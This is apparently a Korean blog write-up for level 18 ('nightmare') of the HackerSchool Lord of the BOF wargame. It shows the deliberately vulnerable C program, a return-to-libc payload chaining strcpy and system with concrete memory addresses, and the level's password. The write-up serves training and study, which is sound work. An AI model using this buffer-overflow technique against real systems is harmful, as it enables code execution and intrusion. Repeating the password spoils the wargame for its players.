HackerSchool LOB Level 18
Hacking/LOB(RedHat)

HackerSchool LOB Level 18

/*

        The Lord of the BOF : The Fellowship of the BOF

        - nightmare

        - PLT

*/


#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <dumpcode.h>


main(int argc, char *argv[])

{

char buffer[40];

char *addr;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// check address

addr = (char *)&strcpy;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with strcpy()\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

printf("%s\n", buffer);


// dangerous waterfall

memset(buffer+40+8, 'A', 4);

}

※  소스분석

버퍼는 40
argv1[48] 에 strcpy의 주소가 와야함
buffer+48 부터 4바이트를 A로 초기화함

이번에는 RTL로 풀겟다
페이로드: &system + AAAA + &/bin/sh + "A"*32 + &strcpy + AAAA + buffer+48 + buffer
nightmare를 복사하고 gdb로 main함수를 디버깅한다


strcpy의 주소는 0x8048410이다 이주소가 argv1[48] 에들어가게 된다

system과 /bin/sh 주소는 전에 구한것을 재활용하겟다

system:     0x40058ae0

&/bin/sh :   0x400fbff9


nighmare.c 파일을 복사하여 수정해준다


※ 이때 주의할점 파일을 새로만들어서 buffer와 buffer+48 주소를 구하면 안되고 꼭 원본 파일을 복사하여 수정해서 구해야한다

   필자는 새로만들어서 했다가 하루동안 삽질함..


복사하여 소스를 수정한 nightmar2 파일에 페이로드 인자를 맞춰서 실행해준다

주소는 

buffer:       0xbffffa90

buffer+48:   0xbffffac0  

이다.

비밀벊는 beg for me 이다


'Hacking > LOB(RedHat)' 카테고리의 다른 글

HackerSchool LOB Level 19  (0) 2015.10.02
HackerSchool LOB Level 17  (0) 2015.09.26
HackerSchool LOB Level 16  (0) 2015.08.29
HackerSchool LOB Level 15  (0) 2015.08.27
HackerSchool LOB Level 14  (0) 2015.08.10